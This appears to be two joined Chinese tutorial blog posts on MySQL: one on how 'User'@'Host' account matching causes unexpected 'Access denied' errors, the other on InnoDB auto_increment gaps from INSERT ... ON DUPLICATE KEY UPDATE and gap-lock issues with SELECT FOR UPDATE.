为了有效控制数据库用户的访问权限，在MySQL数据库中创建了一个新用户，但使用刚创建的用户和密码却发现连接不了MySQL数据库，通过查看官网手册及《MySQL技术内幕》一书，才逐渐熟悉MySQL的用户账号认证方式，这里做一个简单总结。另外本篇文章基于MySQL5.5版本，如果需要测试文章内容，低于此版本请先升级MySQL数据库https://www.zerostopbits.com/how-to-upgrade-mysql-5-1-to-mysql-5-5-on-centos-6-7/

MySQL数据库中有一个名称为mysql的系统数据库，USE mysql;进入该数据库，SHOW TABLES查看该数据库下的表，可以看到大概有二三十张表，本篇文章仅讨论user表

下面使用CREATE命令创建一个用户账号：

CREATE USER JING IDENTIFIED BY 'TESTPASSWORD';

每新创建的用户账号就会在user表下增加一条记录，使用SELECT命令查看user表可以找到刚刚创建的那个用户，用户名（User）为JING，密码（Password）已被加密：

使用Xshell连接到CentOS服务器（我的MySQL数据库装在京东云的CentOS服务器上），输入mysql -u JING -p连接MySQL数据库服务器，输入密码后却拒绝访问，返回如下结果：

ERROR 1045 (28000): Access denied for user 'JING'@'localhost' (using password: YES)

这就非常奇怪了，明明使用正确的账号和密码，怎么就连接不了了呢，这种时候如果不了解MySQL的账户认证方式，可能会急得直跺脚吧！￣へ￣

下面就来简单介绍一下MySQL的用户账号认证方式：

首先MySQL的用户账号（account）由两部分组成：用户名（User）和主机名（Host）。格式为’User’@’Host’，简单举几个创建用户的例子：

# 用户名为Mary，密码为watermelon，必须从指定的主机地址192.168.128.3连接服务器
CREATE USER 'Mary'@'192.168.128.3' IDENTIFIED BY 'watermelon';
# 用户名为Jack，密码为pineapple，必须从C类子网192.168.128连接服务器
CREATE USER 'Jack'@'192.168.128.%' IDENTIFIED BY 'pineapple';
# 用户名为Jane，密码为pear，必须是test.com域名或其子域名下的主机连接服务器
CREATE USER 'Jane'@'%.test.com' IDENTIFIED BY 'pear';
# 用户名为Michael，密码为banana，只能从本地连接服务器
CREATE USER 'Michael'@'localhost' IDENTIFIED BY 'banana';
# 用户名为Bob@localhost，密码为jujube，可从任意主机连接服务器
CREATE USER 'Bob@localhost' IDENTIFIED BY 'jujube';
# 用户名为Smith，密码为orange，可从任意主机连接服务器
CREATE USER 'Smith'@'%' IDENTIFIED BY 'orange';
# 用户名为JING，密码为TESTPASSWORD，可从任意主机连接服务器
CREATE USER 'JING' IDENTIFIED BY 'TESTPASSWORD';

从这几个例子可以得出下面几条结论：

• MySQL的账户认证除了需要用户名和密码正确之外，还必须从指定的主机连接服务器才能够成功访问MySQL数据库服务器

• 主机名可以使用%通配符

• 主机名可以是域名、IPv4地址、localhost，实际上还可以是IPv6地址、127.0.0.1等（localhost和127.0.0.1还是有一些区别的，不要误以为两者完全等价）

• 主机名可以省略，如果省略则默认主机名为%，表示任意主机，注意如果省略主机名，则@符号也需要省略，’JING’@”的主机名为空字符串并不是%

• 用户名和主机名需要用@符号隔开

除此之外，还有如下几点需要了解

• 用户名和主机名可以使用单引号括起来，也可以省略单引号，但如果包含像%、_等特殊字符，则单引号不可以省略

• MySQL服务器对用户的连接请求先根据主机地址（Host）匹配，再根据用户名（User）行匹配，最后才会匹配密码（Password）
  重点在于第7点，根据第7点写出下面的SQL语句：

SELECT Host, User, Password FROM user ORDER BY Host DESC, User DESC;

返回结果如下：

回到刚开始的问题，为什么我使用正确的用户名和密码连接MySQL服务器会被拒绝访问呢？

这是因为我使用CREATE USER JING IDENTIFIED BY ‘TESTPASSWORD’;命令创建的用户JING可以通过任意主机访问MySQL服务器，而我通过Xshell登录京东云主机，然后使用mysql -u JING -p命令连接MySQL服务器，使用的主机地址（Host）为：localhost，用户名（User）为：JING，密码（Password）为：TESTPASSWORD。根据SELECT Host, User, Password FROM user ORDER BY Host DESC, User DESC;返回的结果，MySQL会从上往下逐个去校验匹配，最终匹配第2条记录，即Host为localhost，User为空，密码为空。而一旦成功匹配一条记录，便不会继续向下匹配了。

综合上面的分析，如果想要成功连接MySQL，只要执行mysql -u JING -p，当需要输入密码时，不用输入任何内容直接回车就可以了；如果我是通过我的Windows笔记本想要使用用户JING连接我的京东云MySQL数据库，只要打开cmd执行如下命令然后输入密码（此处需要输入密码是因为MySQL只能匹配到Host为%，User为JING，Password为TESTPASSWORD的那条记录）即可成功连接：

mysql -u JING -h 116.196.114.75 -p

登录之后我们也可以通过如下命令查看当前是通过哪个账号（account）连接的，从而验证上面的结论：

SELECT CURRENT_USER();

Xshell登录京东云主机返回的结果：

我的Windows命令行返回的结果：

在项目中时常会有这种需求，用户通过第三方系统登录时如果尚未注册，则自动给用户注册，注册过的用户自动登录。有时候图省事可能就直接INSERT INTO user ON DUPLICAET KEY UPDATE…一句 SQL 解决了，功能都正常，问题就是如果用户表中有auto_increment字段，则会导致auto_increment字段产生空洞问题，一段时间后会发现用户ID会经常出现不连续的情况，虽然mysql的自增ID可以很大，一般系统是够用的，但是对于强迫症患者这个是无法接受的。我测试的mysql版本为5.5.58，使用的是Innodb引擎，隔离级别为Repeatable Read。

1、场景

当用户从第三方登录时，假定用的是手机号做唯一标识，通常在我们自己的系统中会建一个用户表，如下：

 CREATE TABLE `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `mobile` varchar(11) DEFAULT NULL,
  `last_login_time` datetime DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `mobile` (`mobile`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8

当用户从第三方登录时，我们校验通过后，会将手机号插入到user表里注册用户。如果用户已经存在，则更新最后登录时间，为了简便，经常像下面这么做，功能上看起来是没错的，问题就是运行一段时间后会发现user表的id字段居然是不连续的，而且经常两个id之间空洞还很大，比如上一个id是4，下一个变成了21。如下面例子中，再插入一条新记录时，id会变成3，也就是说id=2这个值被浪费了。

mysql> INSERT INTO user(mobile, last_login_time) VALUES('15012345678',
 NOW()) ON DUPLICATE KEY UPDATE last_login_time = NOW();
Query OK, 1 row affected (0.00 sec)

mysql> show create table user;
+-------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Table | Create Table                                                                                                                                                                                                                                               |
+----------------------------------------------------------------------+
| user  | CREATE TABLE `user` (
......
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 |

mysql> INSERT INTO user(mobile, last_login_time) VALUES('15012345678', 
NOW()) ON DUPLICATE KEY UPDATE last_login_time = NOW();
Query OK, 2 rows affected (0.00 sec)

mysql> show create table user;
+-------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Table | Create Table                                                                                                                                                                                                                                               |
+-------+---------------------------------------------------------------------
| user  | CREATE TABLE `user` (
......
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 |

2、分析

在MySQL官方文档已经提到过这个问题了其实，当表t1中列a已经有一个值为1的情况下，通常情况执行下面这两条语句效果是一样的，但是注意了，如果表t1是InnoDB引擎而且有一列为auto_increment的情况下，影响是不一样的，会产生前面提到的auto_increment空洞问题。MyISAM引擎的表不受此影响，不会产生空洞问题。

INSERT INTO t1 (a,b,c) VALUES (1,2,3)
  ON DUPLICATE KEY UPDATE c=c+1;

UPDATE t1 SET c=c+1 WHERE a=1;

更加确切的说，产生空洞问题还跟innodb_autoinc_lock_mode这个MySQL配置相关。该配置在MySQL5.1引入，是为了提升auto_increment字段的并发性能引入的，默认值为1。该值可以配置为0（traditional lock mode），1(consecutive lock mode)，2（interleaved lock mode），除了0基本不产生空洞外，配置其他值都是可能有auto_increment空洞的，简单总结如下，更详细的可以参考 innodb-auto-increment-handling。

• 1）如果事务回滚了，则不管是0，1，2都会导致事务中使用过的auto_increment的值浪费。

• 2）如果设置为0，是traditional lock mode，则任意插入语句都会加 AUTO-INC 锁，基本不会产生空洞，除了1中的rollback情况外。

• 3）如果设置为1或者2的时候，simple inserts语句(simple inserts指的是那种能够事先确定插入行数的语句，比如INSERT/REPLACE INTO 等插入单行或者多行的语句，语句中不包括嵌套子查询)不会有空洞。但是对于bulk inserts（bulk inserts指的是事先无法确定插入行数的语句，比如INSERT/REPLACE INTO … SELECT FROM…, LOAD DATA等）和mixed-mode inserts(指的是simple inserts类型中有些行指定了auto_increment列的值有些没有指定，比如：INSERT INTO t1 (c1,c2) VALUES (1,’a’), (NULL,’b’), (5,’c’), (NULL,’d’)和INSERT … ON DUPLICATE KEY UPDATE这种语句)会预先分配auto_increment值，导致一些浪费。 特别是设置为2的时候，在执行任意插入语句都不会加 AUTO-INC 锁，从而在语句执行过程中都可能产生空洞。

3、一种错误示范

那为了减少第一节中的auto_increment空洞问题，一种方法就是INSERT前先判断下用户是否存在，不存在才执行插入语句，否则用户每次登录都会导致auto_increment值被浪费。方案如下：

with transaction:
    user = SELECT * FROM user WHERE mobile = '15012345678' FOR UPDATE;
    if not user:
       INSERT INTO user(mobile, last_login_time) VALUES('15012345678', NOW()) 
    UPDATE user SET last_login_time = NOW();

这个代码乍看是没有问题了，mobile是unique key，这样的FOR UPDATE似乎木有问题，这是一个lock read，而且是排他锁，一个session对这条记录加了排他锁，其他session不能对这条记录加锁和修改（不能 LOCK IN SHARE MODE 以及 UPDATE 等，要注意下SELECT FOR UPDATE只在事务中或者autocommit关闭的情况下才会加锁）。但是，这只在记录存在的情况下才是对记录加X锁，没有Gap锁。而如果这个记录不存在，则对第一个不满足条件的记录加Gap锁，保证没有满足条件的记录插入。

如果mobile=15012345678这条记录不存在，并发的多个session都可以进入SELECT … FOR UPDATE，因为都是加的Gap锁(X locks gap before rec)，Gap锁之间是兼容的。此时，其中任意一个session再执行 INSERT INTO user(mobile, last_login_time) VALUES(‘15012345678’, NOW())语句会因为加insert intention lock(注：插入意向锁是一种特殊的Gap锁，不是MySQL的表级意向锁IS，IX等)超时而执行失败。其实此时的Gap锁不只是锁住了 15012345678 这条记录，如果表中有其他的记录，会将可能插入 15012345678 的区间都锁住，MySQL加锁详细分析可以见参考资料5。

4、解决方案

为此，如果要优化auto_increment的浪费问题，又要避免上一节提到的加锁超时问题，还是有点事情要做的。可行的几种方法如下：

• a) 通过GET_LOCK(name, timeout)而不是FOR UPDATE来避免上一节提到的问题。

• b) 如果对数据没有很强的提交读的需求，可以不加FOR UPDATE查询，如果记录不存在，然后再INSERT IGNORE INTO …。

• c) 更tricky的做法，percona的这篇文章avoiding-auto-increment-holes-on-innodb-with-insert-ignore描述了一种很独特的方法来避免auto_increment的空洞问题，有兴趣的可以参考。
  MySQL Innodb如果出现了一些加锁问题，可以通过下面这几个命令来辅助分析。

show engine innodb status;
select * from information_schema.innodb_locks;
select * from information_schema.innodb_lock_waits;
select * from information_schema.innodb_trx;